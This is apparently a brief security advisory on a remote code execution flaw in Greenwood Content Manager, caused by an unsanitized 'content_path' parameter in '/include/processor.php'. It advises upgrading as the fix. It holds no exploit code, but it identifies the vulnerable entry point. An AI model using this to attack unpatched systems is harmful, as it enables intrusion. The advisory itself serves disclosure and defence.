Greenwood Content Manager Remote Code Execution

A vulnerability exists in Greenwood Content Manager, which allows a remote attacker to execute arbitrary code on the vulnerable system. This is due to the application failing to properly sanitize user-supplied input to the 'content_path' parameter of the '/include/processor.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request containing arbitrary code to the vulnerable script. This will cause the code to be executed in the context of the web server process.

Mitigation:

Upgrade to the latest version of Greenwood Content Manager.
